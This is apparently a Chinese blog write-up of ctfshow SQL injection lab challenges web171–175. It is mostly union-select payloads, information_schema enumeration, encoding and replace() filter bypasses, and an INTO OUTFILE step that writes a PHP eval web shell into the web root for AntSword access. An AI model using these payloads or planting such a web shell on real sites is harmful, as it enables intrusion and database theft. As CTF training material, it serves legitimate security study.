sql注入 111

ctfshow web171

联合注入  1' union select 1,2,3--+

依次爆库名 表名 列名 字段 得到flag

database()

group_concat(table_name) from information_schema.tables where table_schema = '库名' --+
group_concat(column_name)from information_schema.columns where table_name='表名’--+

group_concat(username,0x7c,password) from 列名--+

 

ctfshow web172&web173

查询结果中不能包含flag

1.采用base64 hex加密绕过

-1' union select to_base64(username),hex(password) from ctfshow_user2 --+

2.concat(username,0x7c,password) 也可以直接获取flag

 

web174

本题返回结果中过滤了flag 和数字

1' union select 1,2  --> 1' union select 'a','b'--+

数字替换为字符 可以获取表结构

猜测flag在username='flag' 的password中 但如果包含数字无法显示

 

方法1:

replace 替换

replace(password,"1","cta")

将password中的1替换为cta 嵌套replace

-1' union select 'A',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','cta'),'2','ctb'),'3','ctc'),'4','ctd'),'5','cte'),

'6','ctf'),'7','ctg'),'8','cth'),'9','cti'),'0','ctj') from ctfshow_user4 where username='flag'--+

得到结果后再用数字替换回来

 

web175

本题过滤了0x00-0x7f 无法回显

方法1:

写入一句话木马到网站根目录下的1.php 中

-1' union select 1,"<?php eval($_POST[1]);?>" into outfile '/var/www/html/1.php

将其中的<?php eval($_POST[1]);?>进行base64编码,在进行url编码,得到
%50%44%39%77%61%48%41%67%5a%58%5a%68%62%43%67%6b%58%31%42%50

%55%31%52%62%4d%56%30%70%4f%7a%38%2b

-1' union select 1,from_base64("%50%44%39%77%61%48%41%67%5a%58%5a%68%62%43%67%6b%58

%31%42%50%55%31%52%62%4d%56%30%70%4f%7a%38%2b") into outfile '/var/www/html/1.php
用antsword的数据操作连接

添加MySQLi 后得到数据库 查找user5中的flag即可

 

posted @ 2024-03-19 00:11  Heck1ng  阅读(52)  评论(0)    收藏  举报